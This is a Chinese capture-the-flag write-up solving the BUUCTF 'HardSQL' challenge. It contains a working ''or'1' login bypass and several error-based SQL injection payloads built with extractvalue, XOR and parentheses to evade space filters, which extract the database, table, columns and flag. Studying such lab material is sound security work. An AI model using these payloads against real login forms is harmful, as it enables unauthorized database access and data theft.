练习 6 Web [极客大挑战 2019]HardSQL

[极客大挑战 2019]HardSQL

先尝试登录,查看报错信息

  • admin =111 password =1111 登录失败
  • admin =111 password =1'or'1 登录成功

这里直接试了万能密码成功,复习一下,第一个 ' 是为了闭合前面的sql语句,最后的1后面没有 ' 是因为默认情况下,通常sql语句会以' 结尾,我们注入的是'1,实际解析出来就是'1',不会报错。

参考文章:万能密码'or'的原理

然后尝试将 or 后面的1换成查库、查表、等等查询语句,提示显然被过滤了,卡住

做不出来,搜wp,SQL注入通常的思路是联合查询,如果尝试都被过滤,或者查询不到任何内容,那应该要考虑"报错注入"的方式。

SQL注入之报错注入
SQL注入,xpath函数updatexml()和extractvalue()报错注入原理
BUUCTF-[极客大挑战 2019]HardSQL 1详解

报错注入通常是利用非法语句产生报错并返回报错的内容,当报错一般会返回报错的内容是什么,当返回内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行

此题尝试使用

extractvalue(xml_document.Xpath_string)

作用:

查询一个名叫"xml_document"的文档

路径为"Xpath_string"

构造注入语句

extractvalue(1,concat('0x7e',select(database())))%23

'or extractvalue() 中间的这个空格也会被过滤,再查wp
用'^'来连接函数,形成异或

php 复制代码
?username=111&password=1111'^extractvalue

失败,检查一下括号少了,(select(database()))要括起来

爆出库名:geek

爆破表名,sql语句之间的空格用()代替,=号用like代替,构造:

php 复制代码
?username=111&password=1111'^extractvalue(1,concat('0x7e',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek"))))%23

表名:H4rDsq1

爆破字段内容:

php 复制代码
select group_concat(column_name) from information_schema.columns where table_schema=database()
#这里原代码表名变量叫'table_schema',但本题中必须输入'table_name',检查半天非常无语
?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1"))))%23

继续查找flag:

php 复制代码
?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)where(id)like(1))))%23

获得:flag{327111be-7867-495c-872d-51

'}'不见了,flag应该还有一半未显示

使用right(value,str_length)函数

?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)where(id)like(1))))%23

获得:e-7867-495c-872d-511f0cc4fc08}

拼接flag{327111be-7867-495c-872d-51e-7867-495c-872d-511f0cc4fc08}

提交错误

中间应该还有几个字符,调整right函数的第二个参数控制显示长度,后半部分是'7111be'开头

才发现这个flag很短。。

flag{327111be-7867-495c-872d-511f0cc4fc08}

提交正确

相关推荐
姚远Oracle ACE1 小时前
Oracle AWR案例分析:精准定位SQL执行计划切换的时间点
数据库·sql·oracle
敲代码的嘎仔3 小时前
JavaWeb零基础学习Day6——JDBC
java·开发语言·sql·学习·spring·单元测试·maven
哥哥还在IT中4 小时前
让数据库更智能-大模型如何优化我们的SQL查询
数据库·sql
Hello.Reader7 小时前
Flink Table API & SQL 概念、常用 API 与工程落地
大数据·sql·flink
少废话h1 天前
Spark 中数据读取方式详解:SparkSQL(DataFrame)与 SparkCore(RDD)方法对比及实践
大数据·sql·spark
jiuweiC1 天前
常用es sql
大数据·sql·elasticsearch
珊珊而川1 天前
MAC-SQL 算法一
数据库·sql·oracle
听风吟丶1 天前
深入解析 Spring Boot 自动配置:原理、实践与进阶
java·数据库·sql
风语者日志1 天前
[LitCTF 2023]这是什么?SQL !注一下 !
android·数据库·sql
呆呆小金人2 天前
SQL视图:虚拟表的完整指南
大数据·数据库·数据仓库·sql·数据库开发·etl·etl工程师